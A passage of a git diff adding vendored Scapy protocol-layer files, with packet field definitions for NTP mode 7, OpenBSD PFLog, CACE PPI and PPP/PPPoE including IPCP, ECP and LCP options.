2 3 4 5 6 7 8 9 0 1 + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # |R|M| VN | Mode|A| Sequence | Implementation| Req Code | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | Err | Number of data items | MBZ | Size of data item | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | | + # | Data (Minimum 0 octets, maximum 500 octets) | + # | | + # [...] | + # | | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | Encryption Keyid (when A bit set) | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | | + # | Message Authentication Code (when A bit set) | + # | | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # + # where the fields are (note that the client sends requests, the server + # responses): + # + # Response Bit: This packet is a response (if clear, packet is a request). + # + # More Bit: Set for all packets but the last in a response which + # requires more than one packet. + # + # Version Number: 2 for current version + # + # Mode: Always 7 + # + # Authenticated bit: If set, this packet is authenticated. + # + # Sequence number: For a multipacket response, contains the sequence + # number of this packet. 0 is the first in the sequence, + # 127 (or less) is the last. The More Bit must be set in + # all packets but the last. + # + # Implementation number: The number of the implementation this request code + # is defined by. An implementation number of zero is used + # for request codes/data formats which all implementations + # agree on. Implementation number 255 is reserved (for + # extensions, in case we run out). + # + # Request code: An implementation-specific code which specifies the + # operation to be (which has been) performed and/or the + # format and semantics of the data included in the packet. + # + # Err: Must be 0 for a request. For a response, holds an error + # code relating to the request. If nonzero, the operation + # requested wasn't performed. + # + # 0 - no error + # 1 - incompatible implementation number + # 2 - unimplemented request code + # 3 - format error (wrong data items, data size, packet size etc.) # noqa: E501 + # 4 - no data available (e.g. request for details on unknown peer) # noqa: E501 + # 5-6 I don"t know + # 7 - authentication failure (i.e. permission denied) + # + # Number of data items: number of data items in packet. 0 to 500 + # + # MBZ: A reserved data field, must be zero in requests and responses. + # + # Size of data item: size of each data item in packet. 0 to 500 + # + # Data: Variable sized area containing request/response data. For + # requests and responses the size in octets must be greater + # than or equal to the product of the number of data items + # and the size of a data item. For requests the data area + # must be exactly 40 octets in length. For responses the + # data area may be any length between 0 and 500 octets + # inclusive. + # + # Message Authentication Code: Same as NTP spec, in definition and function. # noqa: E501 + # May optionally be included in requests which require + # authentication, is never included in responses. + # + # The version number, mode and keyid have the same function and are + # in the same location as a standard NTP packet. The request packet + # is the same size as a standard NTP packet to ease receive buffer + # management, and to allow the same encryption procedure to be used + # both on mode 7 and standard NTP packets. The mac is included when + # it is required that a request be authenticated, the keyid should be + # zero in requests in which the mac is not included. + # + # The data format depends on the implementation number/request code pair + # and whether the packet is a request or a response. The only requirement + # is that data items start in the octet immediately following the size + # word and that data items be concatenated without padding between (i.e. + # if the data area is larger than data_items*size, all padding is at + # the end). Padding is ignored, other than for encryption purposes. + # Implementations using encryption might want to include a time stamp + # or other data in the request packet padding. The key used for requests + # is implementation defined, but key 15 is suggested as a default. + ######################################################################### + # + + name = "Private (mode 7)" + match_subclass = True + fields_desc = [ + BitField("response", 0, 1), + BitField("more", 0, 1), + BitField("version", 2, 3), + BitField("mode", 0, 3), + BitField("auth", 0, 1), + BitField("seq", 0, 7), + ByteEnumField("implementation", 0, _implementations), + ByteEnumField("request_code", 0, _request_codes), + BitEnumField("err", 0, 4, _ntpd_private_errors), + BitField("nb_items", 0, 12), + BitField("mbz", 0, 4), + BitField("data_item_size", 0, 12), + ConditionalField( + NTPPrivateReqPacketListField( + "req_data", + [], + Packet, + length_from=lambda p: p.data_item_size, + count_from=lambda p: p.nb_items + ), + lambda p: p.response == 0 + ), + # Responses + ConditionalField( + NTPPrivateRespPacketListField( + "data", + [], + Packet, + length_from=lambda p: p.data_item_size, + count_from=lambda p: p.nb_items + ), + lambda p: p.response == 1 + ), + # Responses are not supposed to be authenticated + ConditionalField(PacketField("authenticator", "", NTPPrivatePktTail), + lambda p: p.response == 0 and p.auth == 1), + ] + + +############################################################################## +# Layer bindings +############################################################################## + +bind_layers(UDP, NTP, {"sport": 123}) +bind_layers(UDP, NTP, {"dport": 123}) +bind_layers(UDP, NTP, {"sport": 123, "dport": 123}) diff --git a/libs/scapy/layers/pflog.py b/libs/scapy/layers/pflog.py new file mode 100755 index 0000000..bc01cd2 --- /dev/null +++ b/libs/scapy/layers/pflog.py @@ -0,0 +1,66 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +PFLog: OpenBSD PF packet filter logging. +""" + +import socket + +from scapy.data import DLT_PFLOG +from scapy.packet import Packet, bind_layers +from scapy.fields import ByteEnumField, ByteField, IntField, SignedIntField, \ + StrFixedLenField +from scapy.layers.inet import IP +from scapy.config import conf +if conf.ipv6_enabled: + from scapy.layers.inet6 import IPv6 + + +class PFLog(Packet): + name = "PFLog" + # from OpenBSD src/sys/net/pfvar.h and src/sys/net/if_pflog.h + fields_desc = [ByteField("hdrlen", 0), + ByteEnumField("addrfamily", 2, {socket.AF_INET: "IPv4", + socket.AF_INET6: "IPv6"}), + ByteEnumField("action", 1, {0: "pass", 1: "drop", + 2: "scrub", 3: "no-scrub", + 4: "nat", 5: "no-nat", + 6: "binat", 7: "no-binat", + 8: "rdr", 9: "no-rdr", + 10: "syn-proxy-drop"}), + ByteEnumField("reason", 0, {0: "match", 1: "bad-offset", + 2: "fragment", 3: "short", + 4: "normalize", 5: "memory", + 6: "bad-timestamp", + 7: "congestion", + 8: "ip-options", + 9: "proto-cksum", + 10: "state-mismatch", + 11: "state-insert", + 12: "state-limit", + 13: "src-limit", + 14: "syn-proxy"}), + StrFixedLenField("iface", "", 16), + StrFixedLenField("ruleset", "", 16), + SignedIntField("rulenumber", 0), + SignedIntField("subrulenumber", 0), + SignedIntField("uid", 0), + IntField("pid", 0), + SignedIntField("ruleuid", 0), + IntField("rulepid", 0), + ByteEnumField("direction", 255, {0: "inout", 1: "in", + 2: "out", 255: "unknown"}), + StrFixedLenField("pad", b"\x00\x00\x00", 3)] + + def mysummary(self): + return self.sprintf("%PFLog.addrfamily% %PFLog.action% on %PFLog.iface% by rule %PFLog.rulenumber%") # noqa: E501 + + +bind_layers(PFLog, IP, addrfamily=socket.AF_INET) +if conf.ipv6_enabled: + bind_layers(PFLog, IPv6, addrfamily=socket.AF_INET6) + +conf.l2types.register(DLT_PFLOG, PFLog) diff --git a/libs/scapy/layers/ppi.py b/libs/scapy/layers/ppi.py new file mode 100755 index 0000000..6f6793d --- /dev/null +++ b/libs/scapy/layers/ppi.py @@ -0,0 +1,96 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# Original PPI author: +# scapy.contrib.description = CACE Per-Packet Information (PPI) header +# scapy.contrib.status = loads + +""" +CACE Per-Packet Information (PPI) header. + +A method for adding metadata to link-layer packets. + +For example, one can tag an 802.11 packet with GPS co-ordinates of where it +was captured, and include it in the PCAP file. + +New PPI types should: + + * Make their packet a subclass of ``PPI_Element`` + * Call ``bind_layers(PPI_Hdr, ExamplePPI, pfh_type=0xffff)`` + +See ``layers/contrib/ppi_cace.py`` for an example. +""" + +from scapy.config import conf +from scapy.data import DLT_PPI, PPI_TYPES +from scapy.error import warning +from scapy.packet import Packet +from scapy.fields import ByteField, FieldLenField, LEIntField, \ + PacketListField, LEShortEnumField, LenField + + +class PPI_Hdr(Packet): + name = 'PPI Header' + fields_desc = [ + LEShortEnumField('pfh_type', 0, PPI_TYPES), + LenField('pfh_length', None, fmt=' +# This program is published under a GPLv2 license + +""" +PPP (Point to Point Protocol) + +[RFC 1661] +""" + +import struct +from scapy.config import conf +from scapy.data import DLT_PPP, DLT_PPP_SERIAL, DLT_PPP_ETHER, \ + DLT_PPP_WITH_DIR +from scapy.compat import orb +from scapy.packet import Packet, bind_layers +from scapy.layers.eap import EAP +from scapy.layers.l2 import Ether, CookedLinux, GRE_PPTP +from scapy.layers.inet import IP +from scapy.layers.inet6 import IPv6 +from scapy.fields import BitField, ByteEnumField, ByteField, \ + ConditionalField, EnumField, FieldLenField, IntField, IPField, \ + PacketListField, PacketField, ShortEnumField, ShortField, \ + StrFixedLenField, StrLenField, XByteField, XShortField, XStrLenField +from scapy.modules import six + + +class PPPoE(Packet): + name = "PPP over Ethernet" + fields_desc = [BitField("version", 1, 4), + BitField("type", 1, 4), + ByteEnumField("code", 0, {0: "Session"}), + XShortField("sessionid", 0x0), + ShortField("len", None)] + + def post_build(self, p, pay): + p += pay + if self.len is None: + tmp_len = len(p) - 6 + p = p[:4] + struct.pack("!H", tmp_len) + p[6:] + return p + + +# PPPoE Active Discovery Code fields (RFC2516, RFC5578) +class PPPoED(PPPoE): + name = "PPP over Ethernet Discovery" + + code_list = {0x00: "PPP Session Stage", + 0x09: "PPPoE Active Discovery Initiation (PADI)", + 0x07: "PPPoE Active Discovery Offer (PADO)", + 0x0a: "PPPoE Active Discovery Session-Grant (PADG)", + 0x0b: "PPPoE Active Discovery Session-Credit Response (PADC)", + 0x0c: "PPPoE Active Discovery Quality (PADQ)", + 0x19: "PPPoE Active Discovery Request (PADR)", + 0x65: "PPPoE Active Discovery Session-confirmation (PADS)", + 0xa7: "PPPoE Active Discovery Terminate (PADT)"} + + fields_desc = [BitField("version", 1, 4), + BitField("type", 1, 4), + ByteEnumField("code", 0x09, code_list), + XShortField("sessionid", 0x0), + ShortField("len", None)] + + +# PPPoE Tag types (RFC2516, RFC4638, RFC5578) +class PPPoETag(Packet): + name = "PPPoE Tag" + + tag_list = {0x0000: 'End-Of-List', + 0x0101: 'Service-Name', + 0x0102: 'AC-Name', + 0x0103: 'Host-Uniq', + 0x0104: 'AC-Cookie', + 0x0105: 'Vendor-Specific', + 0x0106: 'Credits', + 0x0107: 'Metrics', + 0x0108: 'Sequence Number', + 0x0109: 'Credit Scale Factor', + 0x0110: 'Relay-Session-Id', + 0x0120: 'PPP-Max-Payload', + 0x0201: 'Service-Name-Error', + 0x0202: 'AC-System-Error', + 0x0203: 'Generic-Error'} + + fields_desc = [ + ShortEnumField('tag_type', None, tag_list), + FieldLenField('tag_len', None, length_of='tag_value', fmt='H'), + StrLenField('tag_value', '', length_from=lambda pkt:pkt.tag_len) + ] + + def extract_padding(self, s): + return '', s + + +class PPPoED_Tags(Packet): + name = "PPPoE Tag List" + fields_desc = [PacketListField('tag_list', None, PPPoETag)] + + +_PPP_PROTOCOLS = { + 0x0001: "Padding Protocol", + 0x0003: "ROHC small-CID [RFC3095]", + 0x0005: "ROHC large-CID [RFC3095]", + 0x0021: "Internet Protocol version 4", + 0x0023: "OSI Network Layer", + 0x0025: "Xerox NS IDP", + 0x0027: "DECnet Phase IV", + 0x0029: "Appletalk", + 0x002b: "Novell IPX", + 0x002d: "Van Jacobson Compressed TCP/IP", + 0x002f: "Van Jacobson Uncompressed TCP/IP", + 0x0031: "Bridging PDU", + 0x0033: "Stream Protocol (ST-II)", + 0x0035: "Banyan Vines", + 0x0037: "reserved (until 1993) [Typo in RFC1172]", + 0x0039: "AppleTalk EDDP", + 0x003b: "AppleTalk SmartBuffered", + 0x003d: "Multi-Link [RFC1717]", + 0x003f: "NETBIOS Framing", + 0x0041: "Cisco Systems", + 0x0043: "Ascom Timeplex", + 0x0045: "Fujitsu Link Backup and Load Balancing (LBLB)", + 0x0047: "DCA Remote Lan", + 0x0049: "Serial Data Transport Protocol (PPP-SDTP)", + 0x004b: "SNA over 802.2", + 0x004d: "SNA", + 0x004f: "IPv6 Header Compression", + 0x0051: "KNX Bridging Data [ianp]", + 0x0053: "Encryption [Meyer]", + 0x0055: "Individual Link Encryption [Meyer]", + 0x0057: "Internet Protocol version 6 [Hinden]", + 0x0059: "PPP Muxing [RFC3153]", + 0x005b: "Vendor-Specific Network Protocol (VSNP) [RFC3772]", + 0x0061: "RTP IPHC Full Header [RFC3544]", + 0x0063: "RTP IPHC Compressed TCP [RFC3544]", + 0x0065: "RTP IPHC Compressed Non TCP [RFC3544]", + 0x0067: "RTP IPHC Compressed UDP 8 [RFC3544]", + 0x0069: "RTP IPHC Compressed RTP 8 [RFC3544]", + 0x006f: "Stampede Bridging", + 0x0071: "Reserved [Fox]", + 0x0073: "MP+ Protocol [Smith]", + 0x007d: "reserved (Control Escape) [RFC1661]", + 0x007f: "reserved (compression inefficient [RFC1662]", + 0x0081: "Reserved Until 20-Oct-2000 [IANA]", + 0x0083: "Reserved Until 20-Oct-2000 [IANA]", + 0x00c1: "NTCITS IPI [Ungar]", + 0x00cf: "reserved (PPP NLID)", + 0x00fb: "single link compression in multilink [RFC1962]", + 0x00fd: "compressed datagram [RFC1962]", + 0x00ff: "reserved (compression inefficient)", + 0x0201: "802.1d Hello Packets", + 0x0203: "IBM Source Routing BPDU", + 0x0205: "DEC LANBridge100 Spanning Tree", + 0x0207: "Cisco Discovery Protocol [Sastry]", + 0x0209: "Netcs Twin Routing [Korfmacher]", + 0x020b: "STP - Scheduled Transfer Protocol [Segal]", + 0x020d: "EDP - Extreme Discovery Protocol [Grosser]", + 0x0211: "Optical Supervisory Channel Protocol (OSCP)[Prasad]", + 0x0213: "Optical Supervisory Channel Protocol (OSCP)[Prasad]", + 0x0231: "Luxcom", + 0x0233: "Sigma Network Systems", + 0x0235: "Apple Client Server Protocol [Ridenour]", + 0x0281: "MPLS Unicast [RFC3032] ", + 0x0283: "MPLS Multicast [RFC3032]", + 0x0285: "IEEE p1284.4 standard - data packets [Batchelder]", + 0x0287: "ETSI TETRA Network Protocol Type 1 [Nieminen]", + 0x0289: "Multichannel Flow Treatment Protocol [McCann]", + 0x2063: "RTP IPHC Compressed TCP No Delta [RFC3544]", + 0x2065: "RTP IPHC Context State [RFC3544]", + 0x2067: "RTP IPHC Compressed UDP 16 [RFC3544]", + 0x2069: "RTP IPHC Compressed RTP 16 [RFC3544]", + 0x4001: "Cray Communications Control Protocol [Stage]", + 0x4003: "CDPD Mobile Network Registration Protocol [Quick]", + 0x4005: "Expand accelerator protocol [Rachmani]", + 0x4007: "ODSICP NCP [Arvind]", + 0x4009: "DOCSIS DLL [Gaedtke]", + 0x400B: "Cetacean Network Detection Protocol [Siller]", + 0x4021: "Stacker LZS [Simpson]", + 0x4023: "RefTek Protocol [Banfill]", + 0x4025: "Fibre Channel [Rajagopal]", + 0x4027: "EMIT Protocols [Eastham]", + 0x405b: "Vendor-Specific Protocol (VSP) [RFC3772]", + 0x8021: "Internet Protocol Control Protocol", + 0x8023: "OSI Network Layer Control Protocol", + 0x8025: "Xerox NS IDP Control Protocol", + 0x8027: "DECnet Phase IV Control Protocol", + 0x8029: "Appletalk Control Protocol", + 0x802b: "Novell IPX Control Protocol", + 0x802d: "reserved", + 0x802f: "reserved", + 0x8031: "Bridging NCP", + 0x8033: "Stream Protocol Control Protocol", + 0x8035: "Banyan Vines Control Protocol", + 0x8037: "reserved (until 1993)", + 0x8039: "reserved", + 0x803b: "reserved", + 0x803d: "Multi-Link Control Protocol", + 0x803f: "NETBIOS Framing Control Protocol", + 0x8041: "Cisco Systems Control Protocol", + 0x8043: "Ascom Timeplex", + 0x8045: "Fujitsu LBLB Control Protocol", + 0x8047: "DCA Remote Lan Network Control Protocol (RLNCP)", + 0x8049: "Serial Data Control Protocol (PPP-SDCP)", + 0x804b: "SNA over 802.2 Control Protocol", + 0x804d: "SNA Control Protocol", + 0x804f: "IP6 Header Compression Control Protocol", + 0x8051: "KNX Bridging Control Protocol [ianp]", + 0x8053: "Encryption Control Protocol [Meyer]", + 0x8055: "Individual Link Encryption Control Protocol [Meyer]", + 0x8057: "IPv6 Control Protovol [Hinden]", + 0x8059: "PPP Muxing Control Protocol [RFC3153]", + 0x805b: "Vendor-Specific Network Control Protocol (VSNCP) [RFC3772]", + 0x806f: "Stampede Bridging Control Protocol", + 0x8073: "MP+ Control Protocol [Smith]", + 0x8071: "Reserved [Fox]", + 0x807d: "Not Used - reserved [RFC1661]", + 0x8081: "Reserved Until 20-Oct-2000 [IANA]", + 0x8083: "Reserved Until 20-Oct-2000 [IANA]", + 0x80c1: "NTCITS IPI Control Protocol [Ungar]", + 0x80cf: "Not Used - reserved [RFC1661]", + 0x80fb: "single link compression in multilink control [RFC1962]", + 0x80fd: "Compression Control Protocol [RFC1962]", + 0x80ff: "Not Used - reserved [RFC1661]", + 0x8207: "Cisco Discovery Protocol Control [Sastry]", + 0x8209: "Netcs Twin Routing [Korfmacher]", + 0x820b: "STP - Control Protocol [Segal]", + 0x820d: "EDPCP - Extreme Discovery Protocol Ctrl Prtcl [Grosser]", + 0x8235: "Apple Client Server Protocol Control [Ridenour]", + 0x8281: "MPLSCP [RFC3032]", + 0x8285: "IEEE p1284.4 standard - Protocol Control [Batchelder]", + 0x8287: "ETSI TETRA TNP1 Control Protocol [Nieminen]", + 0x8289: "Multichannel Flow Treatment Protocol [McCann]", + 0xc021: "Link Control Protocol", + 0xc023: "Password Authentication Protocol", + 0xc025: "Link Quality Report", + 0xc027: "Shiva Password Authentication Protocol", + 0xc029: "CallBack Control Protocol (CBCP)", + 0xc02b: "BACP Bandwidth Allocation Control Protocol [RFC2125]", + 0xc02d: "BAP [RFC2125]", + 0xc05b: "Vendor-Specific Authentication Protocol (VSAP) [RFC3772]", + 0xc081: "Container Control Protocol [KEN]", + 0xc223: "Challenge Handshake Authentication Protocol", + 0xc225: "RSA Authentication Protocol [Narayana]", + 0xc227: "Extensible Authentication Protocol [RFC2284]", + 0xc229: "Mitsubishi Security Info Exch Ptcl (SIEP) [Seno]", + 0xc26f: "Stampede Bridging Authorization Protocol", + 0xc281: "Proprietary Authentication Protocol [KEN]", + 0xc283: "Proprietary Authentication Protocol [Tackabury]", + 0xc481: "Proprietary Node ID Authentication Protocol [KEN]", +} + + +class HDLC(Packet): + fields_desc = [XByteField("address", 0xff), + XByteField("control", 0x03)] + + +# LINKTYPE_PPP_WITH_DIR +class DIR_PPP(Packet): + fields_desc = [ByteEnumField("direction", 0, ["received", "sent"])] + + +class _PPPProtoField(EnumField): + """ + A field that can be either Byte or Short, depending on the PPP RFC. + + See RFC 1661 section 2 + + """ + def getfield(self, pkt, s): + if ord(s[:1]) & 0x01: + self.fmt = "!B" + self.sz = 1 + else: + self.fmt = "!H" + self.sz = 2 + self.struct = struct.Struct(self.fmt) + return super(_PPPProtoField, self).getfield(pkt, s) + + def addfield(self, pkt, s, val): + if val < 0x100: + self.fmt = "!B" + self.sz = 1 + else: + self.fmt = "!H" + self.sz = 2 + self.struct = struct.Struct(self.fmt) + return super(_PPPProtoField, self).addfield(pkt, s, val) + + +class PPP(Packet): + name = "PPP Link Layer" + fields_desc = [_PPPProtoField("proto", 0x0021, _PPP_PROTOCOLS)] + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and _pkt[:1] == b'\xff': + return HDLC + return cls + + +_PPP_conftypes = {1: "Configure-Request", + 2: "Configure-Ack", + 3: "Configure-Nak", + 4: "Configure-Reject", + 5: "Terminate-Request", + 6: "Terminate-Ack", + 7: "Code-Reject", + 8: "Protocol-Reject", + 9: "Echo-Request", + 10: "Echo-Reply", + 11: "Discard-Request", + 14: "Reset-Request", + 15: "Reset-Ack", + } + + +# PPP IPCP stuff (RFC 1332) + +# All IPCP options are defined below (names and associated classes) +_PPP_ipcpopttypes = {1: "IP-Addresses (Deprecated)", + 2: "IP-Compression-Protocol", + 3: "IP-Address", + # not implemented, present for completeness + 4: "Mobile-IPv4", + 129: "Primary-DNS-Address", + 130: "Primary-NBNS-Address", + 131: "Secondary-DNS-Address", + 132: "Secondary-NBNS-Address"} + + +class PPP_IPCP_Option(Packet): + name = "PPP IPCP Option" + fields_desc = [ + ByteEnumField("type", None, _PPP_ipcpopttypes), + FieldLenField("len", None, length_of="data", fmt="B", + adjust=lambda _, val: val + 2), + StrLenField("data", "", length_from=lambda pkt: max(0, pkt.len - 2)), + ] + + def extract_padding(self, pay): + return b"", pay + + registered_options = {} + + @classmethod + def register_variant(cls): + cls.registered_options[cls.type.default] = cls + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt: + o = orb(_pkt[0]) + return cls.registered_options.get(o, cls) + return cls + + +class PPP_IPCP_Option_IPAddress(PPP_IPCP_Option): + name = "PPP IPCP Option: IP Address" + fields_desc = [ + ByteEnumField("type", 3, _PPP_ipcpopttypes), + FieldLenField("len", None, length_of="data", fmt="B", + adjust=lambda _, val: val + 2), + IPField("data", "0.0.0.0"), + StrLenField("garbage", "", length_from=lambda pkt: pkt.len - 6), + ] + + +class PPP_IPCP_Option_DNS1(PPP_IPCP_Option_IPAddress): + name = "PPP IPCP Option: DNS1 Address" + type = 129 + + +class PPP_IPCP_Option_DNS2(PPP_IPCP_Option_IPAddress): + name = "PPP IPCP Option: DNS2 Address" + type = 131 + + +class PPP_IPCP_Option_NBNS1(PPP_IPCP_Option_IPAddress): + name = "PPP IPCP Option: NBNS1 Address" + type = 130 + + +class PPP_IPCP_Option_NBNS2(PPP_IPCP_Option_IPAddress): + name = "PPP IPCP Option: NBNS2 Address" + type = 132 + + +class PPP_IPCP(Packet): + fields_desc = [ + ByteEnumField("code", 1, _PPP_conftypes), + XByteField("id", 0), + FieldLenField("len", None, fmt="H", length_of="options", + adjust=lambda _, val: val + 4), + PacketListField("options", [], PPP_IPCP_Option, + length_from=lambda pkt: pkt.len - 4) + ] + + +# ECP + +_PPP_ecpopttypes = {0: "OUI", + 1: "DESE", } + + +class PPP_ECP_Option(Packet): + name = "PPP ECP Option" + fields_desc = [ + ByteEnumField("type", None, _PPP_ecpopttypes), + FieldLenField("len", None, length_of="data", fmt="B", + adjust=lambda _, val: val + 2), + StrLenField("data", "", length_from=lambda pkt: max(0, pkt.len - 2)), + ] + + def extract_padding(self, pay): + return b"", pay + + registered_options = {} + + @classmethod + def register_variant(cls): + cls.registered_options[cls.type.default] = cls + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt: + o = orb(_pkt[0]) + return cls.registered_options.get(o, cls) + return cls + + +class PPP_ECP_Option_OUI(PPP_ECP_Option): + fields_desc = [ + ByteEnumField("type", 0, _PPP_ecpopttypes), + FieldLenField("len", None, length_of="data", fmt="B", + adjust=lambda _, val: val + 6), + StrFixedLenField("oui", "", 3), + ByteField("subtype", 0), + StrLenField("data", "", length_from=lambda pkt: pkt.len - 6), + ] + + +class PPP_ECP(Packet): + fields_desc = [ + ByteEnumField("code", 1, _PPP_conftypes), + XByteField("id", 0), + FieldLenField("len", None, fmt="H", length_of="options", + adjust=lambda _, val: val + 4), + PacketListField("options", [], PPP_ECP_Option, + length_from=lambda pkt: pkt.len - 4), + ] + +# Link Control Protocol (RFC 1661) + + +_PPP_lcptypes = {1: "Configure-Request", + 2: "Configure-Ack", + 3: "Configure-Nak", + 4: "Configure-Reject", + 5: "Terminate-Request", + 6: "Terminate-Ack", + 7: "Code-Reject", + 8: "Protocol-Reject", + 9: "Echo-Request", + 10: "Echo-Reply", + 11: "Discard-Request"} + + +class PPP_LCP(Packet): + name = "PPP Link Control Protocol" + fields_desc = [ + ByteEnumField("code", 5, _PPP_lcptypes), + XByteField("id", 0), + FieldLenField("len", None, fmt="H", length_of="data", + adjust=lambda _, val: val + 4), + StrLenField("data", "", length_from=lambda pkt: pkt.len - 4), + ] + + def mysummary(self): + return self.sprintf('LCP %code%') + + def extract_padding(self, pay): + return b"", pay + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt: + o = orb(_pkt[0]) + if o in [1, 2, 3, 4]: + return PPP_LCP_Configure + elif o in [5, 6]: + return PPP_LCP_Terminate + elif o == 7: + return PPP_LCP_Code_Reject + elif o == 8: + return PPP_LCP_Protocol_Reject + elif o in [9, 10]: + return PPP_LCP_Echo + elif o == 11: + return PPP_LCP_Discard_Request + else: + return cls + return cls + + +_PPP_lcp_optiontypes = {1: "Maximum-Receive-Unit", + 2: "Async-Control-Character-Map", + 3: "Authentication-protocol", + 4: "Quality-protocol", + 5: "Magic-number", + 7: "Protocol-Field-Compression", + 8: "Address-and-Control-Field-Compression", + 13: "Callback"} + + +class PPP_LCP_Option(Packet): + name = "PPP LCP Option" + fields_desc = [ + ByteEnumField("type", None, _PPP_lcp_optiontypes), + FieldLenField("len", None, fmt="B", length_of="data", + adjust=lambda _, val: val + 2), + StrLenField("data", None, length_from=lambda pkt: pkt.len - 2), + ] + + def extract_padding(self, pay): + return b"", pay + + registered_options = {} + + @classmethod + def register_variant(cls): + cls.registered_options[cls.type.default] = cls + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt: + o = orb(_pkt[0]) + return cls.registered_options.get(o, cls) + return cls + + +class PPP_LCP_MRU_Option(PPP_LCP_Option): + fields_desc = [ByteEnumField("type", 1, _PPP_lcp_optiontypes), + ByteField("len", 4), + ShortField("max_recv_unit", 1500)] + + +_PPP_LCP_auth_protocols = { + 0xc023: "Password authentication protocol", + 0xc223: "Challenge-response authentication protocol", + 0xc227: "PPP Extensible authentication protocol", +} + +_PPP_LCP_CHAP_algorithms = { + 5: "MD5", + 6: "SHA1", + 128: "MS-CHAP", + 129: "MS-CHAP-v2", +} + + +class PPP_LCP_ACCM_Option(PPP_LCP_Option): + fields_desc = [ + ByteEnumField("type", 2, _PPP_lcp_optiontypes), + ByteField("len", 6), + BitField("accm", 0x00000000, 32), + ] + + +def adjust_auth_len(pkt, x): + if pkt.auth_protocol == 0xc223: + return 5 + elif pkt.auth_protocol == 0xc023: + return 4 + else: + return x + 4 + + +class PPP_LCP_Auth_Protocol_Option(PPP_LCP_Option): + fields_desc = [ + ByteEnumField("type", 3, _PPP_lcp_optiontypes), + FieldLenField("len", None, fmt="B", length_of="data", + adjust=adjust_auth_len), + ShortEnumField("auth_protocol", 0xc023, _PPP_LCP_auth_protocols), + ConditionalField( + StrLenField("data", '', length_from=lambda pkt: pkt.len - 4), + lambda pkt: pkt.auth_protocol != 0xc223 + ), + ConditionalField( + ByteEnumField("algorithm", 5, _PPP_LCP_CHAP_algorithms), + lambda pkt: pkt.auth_protocol == 0xc223 + ), + ] + + +_PPP_LCP_quality_protocols = {0xc025: "Link Quality Report"} + + +class PPP_LCP_Quality_Protocol_Option(PPP_LCP_Option): + fields_desc = [ + ByteEnumField("type", 4, _PPP_lcp_optiontypes), + FieldLenField("len", None, fmt="B", length_of="data", + adjust=lambda _, val: val + 4), + ShortEnumField("quality_protocol", 0xc025, _PPP_LCP_quality_protocols), + StrLenField("data", "", length_from=lambda pkt: pkt.len - 4), + ] + + +class PPP_LCP_Magic_Number_Option(PPP_LCP_Option): + fields_desc = [ + ByteEnumField("type", 5, _PPP_lcp_optiontypes), + ByteField("len", 6), + IntField("magic_number", None), + ] + + +_PPP_lcp_callback_operations = { + 0: "Location determined by user authentication", + 1: "Dialing string", + 2: "Location identifier", + 3: "E.164 number", + 4: "Distinguished name", +} + + +class PPP_LCP_Callback_Option(PPP_LCP_Option): + fields_desc = [ + ByteEnumField("type", 13, _PPP_lcp_optiontypes), + FieldLenField("len", None, fmt="B", length_of="message", + adjust=lambda _, val: val + 3), + ByteEnumField("operation", 0, _PPP_lcp_callback_operations), + StrLenField("message", "", length_from=lambda pkt: pkt.len - 3) + ] + + +class PPP_LCP_Configure(PPP_LCP): + fields_desc = [ + ByteEnumField("code", 1, _PPP_lcptypes), + XByteField("id", 0), + FieldLenField("len", None, fmt="H", length_of="options", + adjust=lambda _, val: val + 4), + PacketListField("options", [], PPP_LCP_Option, + length_from=lambda pkt: pkt.len - 4), + ] + + def answers(self, other): + return ( + isinstance(other, PPP_LCP_Configure) and self.code in [2, 3, 4] and + other.code == 1 and other.id == self.id + ) + + +class PPP_LCP_Terminate(PPP_LCP): + + def answers(self, other): + return ( + isinstance(other, PPP_LCP_Terminate) and self.code == 6 and + other.code == 5 and other.id == self.id + ) + + +class PPP_LCP_Code_Reject(PPP_LCP): + fields_desc = [ + ByteEnumField("code", 7, _PPP_lcptypes), + XByteField("id", 0), + FieldLenField("len", None, fmt="H", length_of="rejected_packet", + adjust=lambda _, val: val + 4), + PacketField("rejected_packet", None, PPP_LCP), + ] + + +class PPP_LCP_Protocol_Reject(PPP_LCP): + fields_desc = [ + ByteEnumField("code", 8, _PPP_lcptypes), + XByteField("id", 0), + FieldLenField("len", None, fmt="H", length_of="rejected_information", + adjust=lambda _, val: val + 6), + ShortEnumField("rejected_protocol", None, _PPP_PROTOCOLS), + PacketField("rejected_information", None, Packet), + ] + + +class PPP_LCP_Discard_Request(PPP_LCP): + fields_desc = [ + ByteEnumField("code", 11, _PPP_lcptypes), + XByteField("id", 0), + FieldLenField("len", None, fmt="H", length_of="data", + adjust=lambda _, val: val + 8), + IntField("magic_number", None), + StrLenField("data", "", length_from=lambda pkt: pkt.len - 8), + ] + + +class PPP_LCP_Echo(PPP_LCP_Discard_Request): + code = 9 + + def answers(self, other): + return ( + isinstance(other, PPP_LCP_Echo) and self.code == 10 and + other.code == 9 and self.id == other.id + 